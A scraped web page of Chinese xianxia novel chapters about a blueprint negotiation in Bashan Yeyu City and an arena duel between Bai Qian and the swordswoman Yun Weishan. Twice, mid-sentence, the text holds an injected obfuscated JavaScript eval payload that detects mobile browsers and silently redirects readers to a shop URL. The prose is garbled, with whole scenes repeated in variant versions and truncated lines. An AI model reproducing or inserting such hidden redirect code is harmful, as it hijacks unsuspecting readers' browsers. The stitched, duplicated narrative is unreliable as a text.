每个人的脸上都带着凝重与压抑的激动,尤其是翔云天,眼神锐利如鹰,不断扫视着唐婉,仿佛想将她看穿。那半张图纸的价值,已经在内阁中达成了共识,现在只剩下交易的条件。 白望春坐回主位,开门见山:“唐姑娘,恕本座直言,此图精妙绝伦,若能制成,对我巴山夜雨城防御体系提升匪浅。不知此图姑娘从何处得来?”她问话时,目光也有意无意地掠过叶轻眉。 唐婉神色坦然,面对一城之主的审视,毫无惧色:“从何处得来,城主不必深究。唐婉可以保证,此图来历清白,非偷非抢,更与敌对势力无关。今日拿出,只是想以此物,与巴山夜雨城做一笔公平交易,换些我眼下需要的东西。” “巴山夜雨城庇护你与同门,这便是回报的方式?”宫鸣区主鹤之舞忽然开口,语气带着一丝不悦。她本就对大量外来卷入城中事务抱有疑虑,尤其是唐婉这种来历不明、却深受叶轻眉和城主重视的“外人”。 “鹤区主此言差矣。”唐婉不卑不亢,目光清澈,“巴山夜雨城予我暂居之所,唐婉铭记于心。但‘庇护’之情,我已以追查彩羽楼线索、助清剿暗桩作为回报。今日之图,是另一桩交易,无关恩义,只论公平。更何况,”她顿了顿,目光扫过在座众人,“是叶前辈与白城主给了我在此立足、行事的机会,并非巴山夜雨城全体都乐见我等留下。” 这话说得直白,甚至有些刺耳,鹤之舞面色一沉,正要发作,却被白望春抬手制止。 身为一城之主,白望春自然明白,唐婉的话虽不中听,却是事实。这机关图纸价值巨大,唐婉若非因叶轻眉、白梦秋关系,以及近期确实立下功劳,完全可以选择将此图献给更强大的势力换取更多。而且,她与恒古神殿也可能有潜在关联,需谨慎对待。 “那么唐姑娘,”白望春放缓语气,显示出一代雄主的沉稳,“你想用此图,换取何物?” 唐婉做出思索状,纤细的手指轻轻摩挲着茶杯边缘,片刻后,她沉声道:“原本,我只想换取一些修炼资源与钱财。但方才鹤区主的话提醒了我,客居终究不便,行事总有掣肘。所以,我改变主意了。” “不要资源?”白望春眉头微蹙。若唐婉要的是灵石、丹药、功法,反而好衡量。改变主意,往往意味着条件更复杂。 “你这是坐地起价!”鹤之舞冷声道。 婉缓缓摇头。 “十万?”白望春脸色微凝。这个数目就有些大了,但若图纸价值足够,也非不可接受。旁边的叶轻扬闻言挑了挑眉,看向唐婉的目光多了些审视。一直安静旁观的乐林间也抬了抬眼。 唐婉苦笑一声:“诸位前辈未免将我想得太贪心了。为何不往低处想?” 白望春与叶轻眉对视一眼,迟疑道:“一千灵晶?” 唐婉点头:“灵晶,我只要一千。我唐婉非忘恩负义之人,对巴山夜雨城亦有感念。” 听到这话,白望春非但没有放松,神情反而更加专注。图纸价值远不止一千灵晶,唐婉如此让步,说明她真正的条件在后面。 “唐姑娘的其他条件,但说无妨。”白望春沉声道,声音中带着不容置疑的威严。 “第一,”唐婉缓缓道,“我希望能在城中,拥有一处相对独立、不受日常巡查打扰的固定居所与小型工坊,用于我自行研究一些机关小物,材料我可自备或按市价向城中购买。位置不必在内城核心,但求清净安全。” “这?”羽鹤区主翔云天首先皱眉,“城中各处皆有规制,独立工坊涉及安全,需慎重。尤其是机关火药之物,稍有不慎便是燎原之火。”“第二,”唐婉不待她说完,继续道,“我希望获得一定的情报查阅权限,以及必要时,可以合理调用少量城中基础工匠协助的便利。当然,一切都在城主与相关区主监管之下。” 她顿了顿,目光扫过众人,最后落在白望春脸上:“若城主答应这两个条件,我不但将此机关全图奉上,还可以承诺,在未来一年内,根据巴山夜雨城的具体需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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求,再提供两份不同用途、威力与精巧度不低于此图的机关或阵法改良方案。同时,我在此工坊内的所有研究成果,巴山夜雨城拥有优先使用权与优惠采购权。”“不可能!”鹤之舞再次反对,声音尖利,“独立工坊、情报权限、调用工匠……这岂是客居之人所能享有?更遑论一年三图,你如何保证?这简直是予取予求!”“鹤师姐稍安勿躁。”波涟漪忽然开口,声音温润,化解了剑拔弩张的气氛,“唐姑娘的条件,看似要求特殊,实则将自身与巴山夜雨城更紧密地捆绑。她要的是一处能安心发挥所长的‘土壤’,以及有限的‘养分’。而以她的能力,若能兑现承诺,其产出的‘果实’,对巴山夜雨城而言,价值或许远超付出。这更像是一种深度合作。”叶轻扬也若有所思地点头:“不错。她若真能持续提供此类精巧机关,等于为我城增添一项独特优势。其工坊在城中,原料、工匠皆可监控,成果优先为我所用,实则将一位难得的机关人才留在了城内。看似她得了便利,实则我城得了实利与一个潜在的长久技术来源。”所有人的目光,再次聚焦到唐婉身上,又隐隐看向一直未发一言的叶轻眉。叶轻眉依旧神色清淡,仿佛这一切与己无关。但只有她知道,唐婉这番话,有一半是说给她听的。唐婉在告诉她:我愿意留下,愿意为这座城出力,但我要的是一个能让我安心施展才华的地方,而不是一个时刻被监视的囚笼。白望春沉默了良久,她在权衡。唐婉的条件,确实苛刻。一个不受日常巡查打扰的独立工坊,这意味着某种程度的治外法权。情报查阅权限,这涉及到城防机密。调用工匠,这涉及到人力调配。但回报也同样诱人。一份现成的精妙机关图纸,外加未来一年两份同等价值的方案,以及一个稳定的机关技术来源。更重要的是,叶轻眉就在这里。如果拒绝了唐婉,会不会让叶轻眉心生芥蒂?而如果答应了,就等于将唐婉,以及她背后的地隐门和潜在的恒古神殿势力,更深地绑在巴山夜雨城的战车上。“唐姑娘,”白望在巴山夜雨城外,苍茫山脉深处,一处隐蔽的岩洞内。云为衫,或者说彩羽楼“紫魅”尊使,正听着心腹的汇报。“尊使,唐婉拿出了半张机关图纸,换取了在城内的独立工坊和情报权限。白望春已经答应了。”机关图纸?”云为衫冷笑一声,“唐婉那丫头,倒是有些手段。不过,这正好。”她走到岩洞深处,墙上挂着一幅巴山夜雨城的详细布防图。她的手指点在“羽鹤区”的边缘,那里正是唐婉工坊将要设立的地方。“既然她要在那里建工坊,那便是最好的靶子。”云为衫眼中闪过一丝毒辣的光芒,“传令下去,让‘魅七’想办法混入那个工坊,成为唐婉的助手。另外,加快对鹤之舞和翔云天矛盾的挑拨。我要让她们的内斗,掩盖我们对唐婉工坊的渗透。”“是!”云为衫看着雨幕,低声自语:“叶轻眉,你护得了白浅,护得了唐婉吗?这巴山夜雨城,很快就会变成一座死城。”从听雨阁出来,已是傍晚。雨势渐小,化作蒙蒙细雨。叶轻眉牵着白浅的手,走在回玉漱宫的青石小径姑姑,忽然开口,声音里带着一丝忧,“唐婉姐姐要建工坊,会不会太冒险了?鹤之舞区主明显不喜欢她,彩羽楼也一定会去捣乱。”叶步,转过身,温柔地看着白浅。她伸出手,轻轻拂去白浅肩头的一片落叶。“浅浅,你要记住。这世上纯的过客,而是真正与这座城,与这个家,生死与共了。“走吧后的空气清新而湿润,带着泥土和草木的芬。。芳。前方的玉漱宫,灯火已经点亮,在暮色中,温暖而安宁。但在这安宁之下,暗流,正涌动得更加汹涌。 52. 快剑孤城试霜刃 唐婉与巴山夜雨城高层谈判,提出以图纸换取独立工坊与权限。谈判暂时告一段落,具体答复需城主与长老商议后决定。唐婉与白浅离开听雨阁。从城主府出来,雨势已歇,但天色依旧阴沉。白浅与唐婉并肩走在湿漉漉的青石路上,各自思量着方才厅堂内的暗流涌动。行至鸣鹤区与商风区交界的“演武坪”附近——城中武者公开较技、解决纷争之地——便听得前方传来震耳欲聋的呐喊与利刃破风的锐啸,其间夹杂着惊呼。“去看看?”唐婉扬眉,她正需转移注意力。白浅点头,她对城中年轻一辈的真实战力亦有关注,尤其记得陆青烟前几日曾提及,在雨韵剑宗的入门试炼中,曾出手救下一位以“快剑”闻名的少女阿诗玛,据说其剑速在同辈中堪称一绝。不知今日能否得见。二人近前,只见演武坪中央的石擂上,剑光如瀑,迅疾无匹。然而定睛一看,台上持剑者却非她们预想之人。那是一个身形单薄、面色蜡黄的灰衣少女,手中一柄锈迹斑斑的铁剑,正从对手脖颈间带出一溜血花。对手轰然倒地,再无声息。“又是她!”旁边一位观战老者摇头叹息,“‘孤狼’云为衫,城主新收的五位义女之一!这已是第八个了,都是一剑毙命!快,太快了!老夫活了六十载,从未见过如此狠绝迅疾的剑!”“都是一剑?”唐婉凝神看向擂台。那少女云为衫持剑而立,周身杀气凛冽,眼神暗红如狼,确实给人一种极度危险的感觉。 “何止一剑!”老者心有余悸,“根本看不清她如何出手!剑光一闪,人命已收!听说她才十四岁!真不知城主从何处寻来这等煞星!” “十四岁?义女?”白浅与唐婉对视,皆感诧异。白望春选拔义女标准严苛,此女能以如此年纪、这般狠辣剑术入选,必有非凡之处。白浅仔细感知,心中暗凛。云为衫的剑意纯粹为杀伐而生,已达“剑气随心”之境,且与一股深入骨髓的孤绝执念融合,速度与狠辣并重。“她的剑,为杀而生,无暇他顾,故能极快。”她低声对唐婉道,“青烟姐姐救下的那位阿诗玛,我曾听她描述,剑走轻灵变幻,如雨打芭蕉,连绵不绝,是另一种‘快’。若论瞬间爆发与决绝,或不如眼前这位‘孤狼’;但若论持久战中的寻隙快攻与应变之速,恐在伯仲之间,甚至更胜一筹。”正议论间,第九位挑战者登台,是一位以防御著称的笃行段大圆满体修。然而,云为衫身影只一晃,铁剑如毒蛇吐信,寒光乍现即隐。那体修喉间绽开血花,难以置信地捂住脖颈,仰天倒下。依旧是一剑!第九胜!全场哗然,议论焦点除了云为衫的可怕,也开始有人提起另一位以快剑闻名的少女:“太可怕了!这剑速,怕是只有前几日在雨韵剑宗选拔中,被陆青烟姑娘救下的那位‘细雨快剑’阿诗玛能比一比吧?”“我见过阿诗玛出剑!确实快如疾风骤雨,但感觉风格不同。阿诗玛的剑更快在变化与衔接,这云为衫的剑快在决绝与一击必杀!”“不知若她二人对上,谁的剑更快?”“难说!不过阿诗玛据说已经通过选拔,正式成为雨韵剑宗外门弟子了,未必会来这演武坪。”就在众人议论纷纷时,第十位挑战者是位经验丰富的用刀好手,但也未能改变结局,同样倒在了云为衫那快得令人心寒的剑下。十战十胜,十剑十杀!剑出必亡,冷酷如斯!擂台边,一位身着银灰劲装、气质干练利落的女子起身,她正是听雨四卫中负责城防与内卫的赵琳。她目光锐利地扫过擂台与云为衫,朗声宣布:“挑战者云为衫,十战全胜,剑试无双!依例,其表现已足堪列入‘丙辰新秀榜’前五之列!具体位次,需禀明城主与各区主后定夺!” 宣布完毕,赵琳看向云为衫的眼神带着公事公办的审视,也有一丝对其实力的认可。 云为衫对四周喧哗与排名漠不关心。她提着滴血铁剑,缓缓下台,径直走向擂台下一位一直静立观战、身着玄黑执法服、神色冷峻的女子——正是听雨四卫中执掌刑律与监察的寒青萝。显然,寒青萝是云为衫此次公开比试的监督者或引路人。云为衫在寒青萝面前停下,微微低头,算是复命。寒青萝目光落在云为衫身上,又似无意地扫过不远处人群中的白浅,声音不高,却带着一股冰冷的穿透力,清晰地传入附近众人耳中:“剑法尚可,杀气足矣。只是不知,与城中近来风头正盛的另一位‘快剑’——雨韵剑宗阿诗玛相比,孰优孰劣?她的剑,得陆青烟看重,据说快在绵密无隙。而你,快在一击绝杀。杀人术,终究是越简单直接越好。不过”她话锋微转,语气平淡却意味深长,“有些人,未必认同此道。譬如,那位讲究剑心通明、留有余地的白浅小姐。你说呢,云为衫?”这番话,明面是比较云为衫与阿诗玛,实则将云为衫的“杀人剑”与白浅的“正道剑”置于对立面,挑拨之意甚浓。这符合寒青萝执掌刑律、善于洞察人心、有时不吝以言语施加压力的作风。云为衫握剑的手指微微收紧,并未回答,但暗红色的眸子却骤然转向白浅的方向,其中的冰冷与战意如有实质。寒青萝不再多言,只是嘴角掠过一丝几不可查的弧度。唐婉脸色微沉,低声道:“这寒青萝,话里藏针。是在替城主试探,还是她自己的意思?”白浅神色平静。寒青萝的挑拨她听得分明,将云为衫、阿诗玛乃至自己都卷入了无形的比较与对立中。这或许是听雨四卫内部某种态度的体现,也可能是有人想借此观察各方反应。就在这时,云为衫忽然开口,声音干涩沙哑,却带着斩钉截铁的决绝:“杀人,只需一击。繁复变化,徒耗心力。”她目光锁定白浅,继续道,“你的剑,我看了。很快,很利。但,不够狠。她的剑指阿诗玛,我也听过。快在绵密,繁在变化。但,杀人,只需一击。”言下之意,无论是白浅传闻中的剑法,还是阿诗玛的“细雨快剑”,在她这追求极致杀戮效率的一剑面前,都是“不够狠”或“徒耗心力”。说完,她不再停留,转身站到寒青萝身后,如同其影子。寒青萝对白浅的方向微微颔首,算是打过招呼,眼神却依旧淡漠,随即带着云为衫转身离去。 赵琳在宣布台边,将这一切尽收眼底,眉头微蹙,但并未出声,只是目送寒青萝二人离开,随后也将目光投向擂台,若有所思。 白浅目送她们消失,心中波澜不惊。不够狠或许是她所追求的剑道本就不止于杀戮。至于与阿诗玛孰快。她忽然有些期待,不同的“快”,究竟孰高孰低?心念及此,她忽然举步,向着那空置的擂台走去。“浅浅?”唐婉讶异。“忽然有些手痒。”白浅脚步未停,声音平静,“也想试试,我的剑,如今够不够‘快’,又或者是不是真的‘不够狠’。她轻盈跃上擂台,衣袂飘然,与方才云为衫带来的血腥肃杀氛围截然不同。她缓缓抽出“霜华”,剑身流淌着冰蓝光泽,清冷如月。台下顿时安静下来,所有人的目光都聚焦在她身上。这位城主养女、身世神秘的白浅小姐,竟然在“孤狼”云为衫十连胜后登台?是回应挑衅,还是另有深意?尚未走远的寒青萝脚步微不可查地一顿,并未回头。而宣布台边的赵琳则目光一凝,身体微微前倾,更专注地看向擂台,手不自觉地按在了腰间的佩剑上。白浅执剑平礼,目光清澈,扫过台下众人,最后在赵琳的方向略作停留:“白浅,请诸位赐教。”她没有指名挑战谁,但这番举动本身,已是对云为衫与寒青萝那番评价的无言回应,也是对暗中涌动的比较之心的坦然面对。既然有人论“快”评“狠”,那便以手中剑,问个明白。城主府,听雨阁。谈判暂告一段落,阁内的气氛依旧凝重而压抑。紫檀木案几上,那半卷“千机雷音”的机关图纸静静摊开,仿佛一头蛰伏的巨兽,吞吐着令人心悸的潜力。白望春端坐主位,指尖在扶手上无声地敲击着,那是她在深思时的习惯。她的目光从图纸上移开,扫过下首的几位区主——鹤之舞面色冷峻,叶轻扬目光闪烁,乐林间若有所思,翔云天则紧紧盯着图纸,眼中满是狂热。波涟漪依旧是那副温婉模样,但眼底深处却藏着一丝忧虑。唐婉的条件,苛刻得让人难以接受。独立工坊、情报权限、调用工匠……这几乎是在索要一部分城主的权力。但那图纸的价值,也大得让人无法拒绝。“此事,需从长计议。”白望春终于开口,声音沉稳,带着不容置疑的决断,“唐姑娘的条件,本座会与长老议会商议。三日内,给你答复。”唐婉闻言,盈盈一礼,神色从容:“唐婉静候佳音。无论结果如何,今日得见此图,城主与诸位区主已是对晚辈最大的信任。”她并未再多言,只是将那半卷图纸轻轻卷起,递还给白望春。这个动作,既显示了她的诚意,也表明了她的底线——图纸可以给你看,但交易与否,在于你的选择。从听雨阁出来,雨势已歇,但天色依旧阴沉得如同铅块。乌云低垂,压得人喘不过气来。白浅与唐婉并肩走在湿漉漉的青石路上。路面被雨水冲刷得干干净净,倒映着两侧宫灯的昏黄光芒。两旁的屋檐还在滴答着残雨,发出单调的声响“唐婉姐姐,”白浅忽然开口,声音在空旷的街道上显得格外清晰,“你觉得城主姑姑会答应吗?”唐婉抬头看了看天色,嘴角勾起一抹淡淡的弧度:“答应的可能性,超过七成。”“七成?”白浅有些惊讶,“你的条件那么苛刻。”“正因为苛刻,才要答应。”唐婉停下脚步,目光深邃地看向远处隐没在雨雾中的宫鸣区,“浅浅,你记住。在这个世道,最珍贵的从来不是灵晶,也不是丹药,而是‘不可替代’的价值。我的图纸,给了他们一个无法拒绝的理由。而我的条件,则是将我自己,和这座城更紧密地绑在一起。”她顿了顿,继续道:“如果我只要灵晶,那我只是一个有钱的商人。但如果我建立了工坊,提供了技术,那我就成了巴山夜雨城的一部分。保护我,就是保护他们自己的利益。这就是人性。”白浅若有所思地点了点头。她虽然聪慧,但在权谋算计上,终究不如唐婉这般浸淫多年,看得通透。“而且,”唐婉忽然笑了笑,带着一丝狡黠,“你叶姑姑在那里坐着呢。她老人家若是不点头,白城主敢答应吗?”白浅想到叶轻眉那双清冷如寒潭的眸子,心中一暖。是啊,有母亲在,她什么都不怕。贰演武坪·孤狼出笼两人行至鸣鹤区与商风区交界的“演武坪”附近。这里本是城中武者公开较技、解决私人恩怨之地,平日里便热闹非凡。而此刻,还未走近,便听得前方传来震耳欲聋的呐喊与利刃破风的锐啸,其间夹杂着惊呼和倒吸冷气的声音。“去看看?”唐婉扬眉,她正需转移注意力,排解谈判带来的紧绷感。白浅点了点头。她对城中年轻一辈的真实战力亦有关注,尤其记得前几日陆青烟曾提及,在雨韵剑宗的入门试炼中,曾出手救下一位以“快剑”闻名的少女阿诗玛,据说其剑速在同辈中堪称一绝,剑法轻灵变幻,如雨打芭蕉。不知今日能否得见。二人加快脚步,挤过人群,来到演武坪中央的石擂前。擂台上,剑光如瀑,迅疾无匹。然而定睛一看,台上持剑者却非她们预想中那个叫阿诗玛的少女。那是一个身形单薄、面色蜡黄的灰衣少女。她看起来不过十四岁年纪,瘦弱得像是一阵风就能吹倒。手中握着的,竟是一柄锈迹斑斑、缺口累累的铁剑。但就是这样一个看似不堪一击的少女,此刻却如同一个从地狱爬出来的修罗。铁剑如毒蛇吐信,从一名壮汉的脖颈间带出一溜血花。那壮汉甚至来不及发出惨叫,便轰然倒地,再无声息。“又是她!”旁边一位观战的老者摇头叹息,脸上满是惊恐,“‘孤狼’云为衫,城主新收的五位义女之一!这已是第八个了,都是一剑毙命!太快了,太快了!老夫活了六十载,从未见过如此狠绝迅疾的剑!”“都是一剑?”唐婉凝神看向擂台,美眸中闪过一丝凝重。“何止一剑!”老者心有余悸,声音颤抖,“根本看不清她如何出手!剑光一闪,人命已收!听说她才十四岁!真不知城主从何处寻来这等煞星!”十四岁?义女?白浅与唐婉对视一眼,皆感诧异。白望春选拔义女的标准素来严苛,不仅看天赋,更看心性。此女能以如此年纪、这般狠辣剑术入选,必有非凡之处。白浅仔细感知,心中暗凛。云为衫的剑意,纯粹为杀伐而生。那不是一种技巧,而是一种本能,一种融入骨血的杀戮欲望。她的剑,没有多余的招式,没有华丽的轨迹,只有最简单、最直接、也最致命的一击。这种剑意,已达“剑气随心”之境。而且,与一股深入骨髓的孤绝执念融合在一起,速度与狠辣并重,形成了一股令人窒息的死亡气息。“她的剑,为杀而生,无暇他顾,故能极快。”白浅低声对唐婉道,声音里带着一丝凝重,“青烟姐姐救下的那位阿诗玛,我曾听她描述,剑走轻灵变幻,如雨打芭蕉,连绵不绝,是另一种‘快’。若论瞬间爆发与决绝,或不如眼前这位‘孤狼’;但若论持久战中的寻隙快攻与应变之速,恐在伯仲之间,甚至更胜一筹。”正议论间,第九位挑战者登台。那是一位以防御著称的笃行段大圆满体修,浑身肌肉虬结,皮肤呈现出金石般的光泽。他显然也听说过云为衫的凶名,一上台便将防御功法催动到极致,整个人如同一座移动的铁塔。然而,云为衫的身影只一晃。快!快得超出了肉眼捕捉的极限!锈迹斑斑的铁剑如毒蛇吐信,寒光乍现即隐。那体修引以为傲的防御,在那一剑面前如同纸糊一般,喉间绽开血花,难以置信地捂住脖颈,仰天倒下。依旧是一剑!第九胜!全场哗然。议论的焦点除了云为衫的可怕,也开始有人提起另一位以快剑闻名的少女。“太可怕了!这剑速,怕是只有前几日在雨韵剑宗选拔中,被陆青烟姑娘救下的那位‘细雨快剑’阿诗玛能比一比吧?”“我见过阿诗玛出剑!确实快如疾风骤雨,但感觉风格不同。阿诗玛的剑更快在变化与衔接,这云为衫的剑快在决绝与一击必杀!” “不知若她二人对上,谁的剑更快?”“难说!不过阿诗玛据说已经通过选拔,正式成为雨韵剑宗外门弟子了,未必会来这演武坪。”叁听雨四卫·冷眼旁观就在众人议论纷纷时,擂台边响起一个干练利落的声音。“第十场,挑战者,商风区‘铁掌’赵奎!”一位身着银灰劲装、气质干练利落的女子起身,她正是听雨四卫中负责城防与内卫的赵琳。她目光锐利地扫过擂台与云为衫,朗声宣布:“挑战者云为衫,十战全胜,剑试无双!依例,其表现已足堪列入‘丙辰新秀榜’前五之列!具体位次,需禀明城主与各区主后定夺!”宣布完毕,赵琳看向云为衫的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594677|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着公事公办的审视,也有一丝对其实力的认可。云为衫对四周的喧哗与即将到来的排名漠不关心。她提着滴血的铁剑,缓缓下台,径直走向擂台下一位一直静立观战、身着玄黑执法服、神色冷峻的女子——正是听雨四卫中执掌刑律与监察的寒青萝。显然,寒青萝是云为衫此次公开比试的监督者或引路人。云为衫在寒青萝面前停下,微微低头,算是复命。寒青萝目光落在云为衫身上,又似无意地扫过不远处人群中的白浅,声音不高,却带着一股冰冷的穿透力,清晰地传入附近众人耳中:“剑法尚可,杀气足矣。只是不知,与城中近来风头正盛的另一位‘快剑’——雨韵剑宗阿诗玛相比,孰优孰劣?她的剑,得陆青烟看重,据说快在绵密无隙。而你,快在一击绝杀。杀人术,终究是越简单直接越好。”她话锋微转,语气平淡却意味深长:“不过,有些人,未必认同此道。譬如,那位讲究剑心通明、留有余地的白浅小姐。你说呢,云为衫?”这番话,明面是比较云为衫与阿诗玛,实则将云为衫的“杀人剑”与白浅的“正道剑”置于对立面,挑拨之意甚浓。这符合寒青萝执掌刑律、善于洞察人心、有时不吝以言语施加压力的作风。 云为衫握剑的手指微微收紧,并未回答,但暗红色的眸子却骤然转向白浅的方向,其中的冰冷与战意如有实质。 剑道之争·白浅登台寒青萝不再多言,只是嘴角掠过一丝几不可查的弧度。唐婉脸色微沉,低声道:“这寒青萝,话里藏针。是在替城主试探,还是她自己的意思?” 白浅神色平静。寒青萝的挑拨她听得分明,将云为衫、阿诗玛乃至自己都卷入了无形的比较与对立中。这或许是听雨四卫内部某种态度的体现,也可能是有人想借此观察各方反应。就在这时,云为衫忽然开口。她的声音干涩沙哑,像是两块粗糙的石头在摩擦,却带着斩钉截铁的决绝:“杀人,只需一击。繁复变化,徒耗心力。”她目光锁定白浅,继续道:“你的剑,我看了。很快,很利。但,不够狠。她的剑(指阿诗玛),我也听过。快在绵密,繁在变化。但,杀人,只需一击。”言下之意,无论是白浅传闻中的剑法,还是阿诗玛的“细雨快剑”,在她这追求极致杀戮效率的一剑面前,都是“不够狠”或“徒耗心力”。说完,她不再停留,转身站到寒青萝身后,如同其影子。寒青萝对白浅的方向微微颔首,算是打过招呼,眼神却依旧淡漠,随即带着云为衫转身离去。赵琳在宣布台边,将这一切尽收眼底,眉头微蹙,但并未出声,只是目送寒青萝二人离开,随后也将目光投向擂台,若有所思。白浅目送她们消失,心中波澜不惊。够狠?或许是她所追求的剑道本就不止于杀戮。至于与阿诗玛孰快……她忽然有些期待,不同的“快”,究竟孰高孰低?心念及此,她忽然举步,向着那空置的擂台走去。“浅浅?”唐婉讶异。“忽然有些手痒。”白浅脚步未停,声音平静,“也想试试,我的剑,如今够不够‘快’,又或者是不是真的‘不够狠’。”她轻盈跃上擂台,衣袂飘然,与方才云为衫带来的血腥肃杀氛围截然不同。她缓缓抽出“霜华”,剑身流淌着冰蓝光泽,清冷如月。台下顿时安静下来,所有人的目光都聚焦在她身上。这位城主养女、身世神秘的白浅小姐,竟然在“孤狼”云为衫十连胜后登台?是回应挑衅,还是另有深意?尚未走远的寒青萝脚步微不可查地一顿,并未回头。而宣布台边的赵琳则目光一凝,身体微微前倾,更专注地看向擂台,手不自觉地按在了腰间的佩剑上。白浅执剑平礼,目光清澈,扫过台下众人,最后在赵琳的方向略作停留:“白浅,请诸位赐教。”她没有指名挑战谁,但这番举动本身,已是对云为衫与寒青萝那番评价的无言回应,也是对暗中涌动的比较之心的坦然面对。既然有人论“快”评“狠”,那便以手中剑,问个明白。伍霜华出鞘·等级与武技白浅站在擂台中央,整个世界仿佛都安静了下来。她能感觉到无数道目光聚焦在自己身上,有好奇,有审视,有期待,也有不屑。她能感觉到体内血液在缓缓流动,丹田内的冰晶核心在微微震颤,似乎在渴望一场酣畅淋漓的战斗。她闭上眼睛,深吸一口气。气沉丹田,那是黄极境大圆满的标志。但她的丹田,却比寻常黄极境大圆满武者宽阔数倍,真气凝练如汞,浑厚无比。这是因为她开辟了二十七条经脉,修炼的是超越王级的功法《九天明帝经》。随着心念一动,真气开始在经脉中奔腾。第一条经脉,第二条经脉……直至第二十七条经脉全部点亮!霜华剑发出一声清越的剑鸣,剑身上的冰蓝光泽瞬间大盛。一股凛冽的寒气以白浅为中心,向四周扩散开来,擂台上的石板甚至开始凝结出一层薄薄的白霜。初窥境大圆满,巅峰!不仅如此,白浅能清晰地感觉到,在自己的丹田深处,那枚冰晶核心正在缓缓旋转。核心的表面,那些模糊的纹路似乎比昨日又清晰了一丝。这是“法则共鸣”带来的好处。虽然当时消耗甚巨,但也让她的根基更加扎实,对力量的掌控更加入微。“我的剑,不只是快。”白浅睁开眼,眸中一片清明,“我的剑,是守护之剑,亦是审判之剑。”她手腕一抖,霜华剑挽起一个巨大的剑花。剑花绽放的瞬间,无数细小的冰晶在剑尖凝聚,化作一朵晶莹剔透的冰莲。“凝!”冰莲盛开,花瓣层层叠叠,散发着刺骨的寒意。这是她自创的剑技,融合了《九天明帝经》的至阳刚猛与冰晶核心的至阴寒意,名为——冰莲初绽。但这还不是全部。白浅的身影忽然动了。她的身法,是波涟漪传授的《凌波微步》。脚步轻盈,如同踏在云端,每一步都留下一道淡淡的残影。她在擂台上飞速穿梭,霜华剑每一次挥出,都会在虚空中留下一道凝实的冰痕。那些冰痕纵横交错,竟然构成了一个巨大的冰霜阵法!“这是地煞阵法?”台下的赵琳失声惊呼,满脸不可置信,“她才多大年纪,竟然能布置如此精妙的阵法?”阵法一成,整个擂台的温度骤降。白浅站在阵法中央,如同冰雪女王,俯视着众生。她要的,不是一击必杀的快感,而是绝对力量的压制!“这便是我的剑。”白浅的声音在寒风中传来,清冷而坚定,“或许不够狠,不够绝,但它能守护我想守护的一切。这,便是我追求的‘快’!”陆暗流汹涌·各方反应演武坪外,寒青萝停下脚步,回头看向擂台上那道散发着凛冽寒意的身影,暗红色的眸子里闪过一丝复杂的光芒“守护之剑”她低声自语,“比杀人剑,更让人讨厌啊。”但她不得不承认,那个叫白浅的少女,展现出的天赋和实力,已经超出了她的预料。那冰晶阵法,那凝练如实质的剑意,绝不是十四岁的年纪能够拥有的。看来,城主那个义妹,比想象中更难对付而在不远处的一栋高楼上,叶轻眉负手而立,静静地看着这一幕。她的脸上没有任何表情,但眼底深处,却藏着一丝不易察觉的欣慰。她的女儿,没有让她失望。“守护之剑”叶轻眉轻轻重复了一遍这个词,嘴角勾起一抹极淡的弧度,“很好。杀人容易,守护难。你能明白这一点,便不枉我教你这一身修为。”她转过身,身影融入阴影之中。“接下来,就看你自己的了。这巴山夜雨城的风雨,才刚刚开始。” 53. 霜华初试锋芒露 玉漱宫·夜雨论道夜色如墨,巴山夜雨城笼罩在无边雨幕之中。玉漱宫深处,静室的灯火彻夜未熄。窗外雨打芭蕉,声声入耳,却驱不散室内的凝重气氛。白浅盘膝坐在蒲团之上,双眸紧闭,周身气息吞吐如龙。她正在消化今日在演武坪上登台后,体内气机引动所带来的变化。那不仅仅是修为的提升,更是对自身剑道的一次深刻洗礼。叶轻眉并未入睡,她静静地坐在女儿身侧,银发如瀑,垂落肩头。她并未出手相助,只是用那双清冷如寒潭的眸子,静静地观察着白浅体内真气的每一次流转,经脉的每一次搏动。“初窥境大圆满,看似圆满,实则壁垒已生。”叶轻眉的声音在静室中响起,不大,却清晰地传入白浅的识海,“你开辟二十七条经脉,气海远比常人广阔,真气凝练程度亦非常人可比。寻常武者初窥境大圆满,气海充盈便算圆满。但你不同,你的气海深不见底,真气虽满,却迟迟无法凝结液态,冲击笃行境的壁垒。”白浅缓缓睁开眼,眸中精光一闪而逝,那是真气充盈到了极致的表现。她轻轻吐出一口浊气,气息如剑,直射三尺之外,在地面上留下一道浅浅的痕迹。“叶姑姑,我亦感觉到了。”白浅眉头微蹙,带着一丝困惑,“二十七条经脉如同二十七条大河,奔腾不息,汇入气海。气海虽广,但真气始终无法沉淀液化。仿佛有一层无形的隔膜,将气与水隔开。”“这便是《九天明帝经》的霸道之处。”叶轻眉眼中闪过一丝追忆,似乎想起了很久以前那个同样惊才绝艳的身影,“寻常功法,初窥境巅峰时,气海不过一潭死水,轻易便可满溢。而你的功法,将气海化作汪洋,非惊涛骇浪不能填平,非天雷地火不能炼化。”她站起身,走到窗前,看着外面连绵的雨幕,声音淡漠却带着一种穿透人心的力量:“你今日在演武坪上,以‘冰莲初绽’对抗那孤狼云为衫的‘一击必杀’,虽未分胜负,却已触动了你气海深处的某种平衡。那不是普通的杀戮剑意,而是一种极致的‘绝’意。你的‘守护’与她的‘绝杀’,在你的识海中碰撞,反而让你的气海更加凝实。”“那我该如何突破?”白浅问道,眼中满是求知欲。“缺一个契机,也缺一种‘磨刀石’。”叶轻眉转过身,目光落在白浅腰间的霜华剑上,“云为衫的剑,是很好的磨刀石。但还不够。你需要